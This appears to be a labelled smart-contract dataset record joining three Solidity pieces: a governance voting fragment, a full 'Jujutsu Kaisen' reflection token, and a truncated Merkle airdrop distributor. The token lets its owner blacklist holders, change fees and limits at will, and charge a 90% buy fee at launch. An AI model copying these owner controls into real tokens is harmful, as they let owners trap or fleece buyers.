function voteFor(uint256 id) public {
require(proposals[id].start < block.timestamp , "<start");
require(proposals[id].end > block.timestamp , ">end");
require(proposals[id].againstVotes[msg.sender] == 0, "cannot switch votes");
require(msg.sender != proposals[id].proposer, "cant vote forself"); //Correct to avoid self voting. Can't be gamed
uint256 votes = balanceOf(msg.sender).sub(proposals[id].forVotes[msg.sender]);
proposals[id].totalForVotes = proposals[id].totalForVotes.add(votes);
proposals[id].forVotes[msg.sender] = balanceOf(msg.sender);
voteLock[msg.sender] = lockPeriod.add(block.timestamp);
}
function voteAgainst(uint256 id) public {
require(proposals[id].start < block.timestamp , "<start");
require(proposals[id].end > block.timestamp , ">end");
require(proposals[id].forVotes[msg.sender] == 0, "cannot switch votes");
uint256 votes = balanceOf(msg.sender).sub(proposals[id].againstVotes[msg.sender]);
proposals[id].totalAgainstVotes = proposals[id].totalAgainstVotes.add(votes);
proposals[id].againstVotes[msg.sender] = balanceOf(msg.sender);
voteLock[msg.sender] = lockPeriod.add(block.timestamp);
}
function stake(uint256 amount) public {
super.stake(amount);
}
function withdraw(uint256 amount) public {
require(voteLock[msg.sender] < block.timestamp, "tokens locked");
super.withdraw(amount);
}
function resolveProposal(uint256 id) public {
require(proposals[id].proposer != address(0), "non-existent proposal");
require(proposals[id].end < block.timestamp , "ongoing proposal");
require(!proposals[id].hasResolved, "already resolved");
// sum votes, multiply by precision, divide by total supply
uint256 quorum =
(proposals[id].totalForVotes.add(proposals[id].totalAgainstVotes))
.mul(PERCENTAGE_PRECISION)
.div(totalSupply());
proposals[id].hasResolved = true;
if ((quorum < MIN_QUORUM_PUNISHMENT) && proposals[id].withdrawAmount > WITHDRAW_THRESHOLD) {
// user's stake gets slashed, converted to stablecoin
uint256 amount = slash(proposals[id].proposer);
stakeToken.safeTransfer(devEscrow, amount);
} else if (
(quorum > MIN_QUORUM_THRESHOLD) &&
(proposals[id].totalForVotes > proposals[id].totalAgainstVotes)
) {
// send funds to withdraw address
if (stablecoin.balanceOf(address(this)) >= proposals[id].withdrawAmount) {
stablecoin.safeTransfer(
proposals[id].withdrawAddress,
proposals[id].withdrawAmount
);
}
}
}
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/**
*Submitted for verification at Etherscan.io on 2021-09-30
*/
/*
Jujutsu Kaisen
https://t.me/JujutsuKaisenETH
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Jujutsu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 888888888 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Jujutsu Kaisen";
string private constant _symbol = unicode"JUJUTSU";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 0;
uint256 private _gojoFee = 0;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousgojoFee = _gojoFee;
uint256 private _BuyFee = _gojoFee;
uint256 private _SellFee = _gojoFee;
uint256 private _maxBuyAmount;
uint256 private _maxSellAmount;
address payable private _FeeAddress;
address payable private _FeeAddress2;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable FeeAddress2, address payable FeeAddress3) {
_FeeAddress = FeeAddress;
_FeeAddress2 = FeeAddress2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[FeeAddress2] = true;
_isExcludedFromFee[FeeAddress3] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _gojoFee == 0) return;
_previousTaxFee = _taxFee;
_previousgojoFee = _gojoFee;
_taxFee = 0;
_gojoFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_gojoFee = _previousgojoFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[to], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
require(amount <= _maxBuyAmount);
_taxFee = 0;
_gojoFee = _BuyFee;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
_gojoFee = 90;
}
}
}
// sell
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
require(amount <= _maxSellAmount);
_taxFee = 0;
_gojoFee = _SellFee;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_FeeAddress2.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _gojoFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 GojoFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(GojoFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 888888888 * 10**9; // TX LIMIT
_maxSellAmount = 8888888 * 10**9; // 1% TX LIMIT
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (600 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function isBlackListed(address account) public view returns (bool) {
return _isBlackListedBot[account];
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function setTX(uint256 maxBuy, uint256 maxSell) external onlyOwner() {
_maxBuyAmount = maxBuy;
_maxSellAmount = maxSell;
}
function setYugiHour(bool enabled) external onlyOwner() {
if (enabled)
{_SellFee = 16;
_BuyFee = 0;
}
else
{
_SellFee = 8;
_BuyFee = 8;
}
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-12
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.12 <0.7.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly { cs := extcodesize(self) }
return cs == 0;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProofUpgradeable {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// Allows anyone to claim a token if they exist in a merkle root.
interface IMerkleDistributor {
// Returns true if the index has been marked claimed.
function isClaimed(uint256 index) external view returns (bool);
// Claim the given amount of the token to the given address. Reverts if the inputs are invalid.
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external;
// This event is triggered whenever a call to #claim succeeds.
event Claimed(uint256 index, address account, uint256 amount);
}
contract MerkleDistributor is Initializable, IMerkleDistributor {
address public token;
bytes32 public merkleRoot;
// This is a packed array of booleans.
mapping(uint256 => uint256) internal claimedBitMap;
function __MerkleDistributor_init(address token_, bytes32 merkleRoot_) public initializer {
token = token_;
merkleRoot = merkleRoot_;
}
function isClaimed(uint256 index) public override view returns (bool) {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
uint256 claimedWord = claimedBitMap[claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
function _setClaimed(uint256 index) internal {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
}
function claim(
uint256 index,
address account,
uint256 amount,
bytes32[] calldata merkleProof
) external virtual override {
require(!isClaimed(index), "MerkleDistributor: Drop already claimed.");
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
require(MerkleProofUpgradeable.verify(merkleProof, merkleRoot, node), "MerkleDistributor: Invalid proof.");
// Mark it claimed and send the token.
_setClaimed(index);
require(IERC20Upgradeable(token).transfer(account, amount), "MerkleDistributor: Transfer failed.");
emit Claimed(index, account, amount);
}
}
contract TokenDistributor is MerkleDistributor, OwnableUpgradeable {
using SafeMathUpgradeable for uint256;
uint256 public constant MAX_BPS = 10000;
uint256 public claimsStart;
uint256 public gracePeriod;
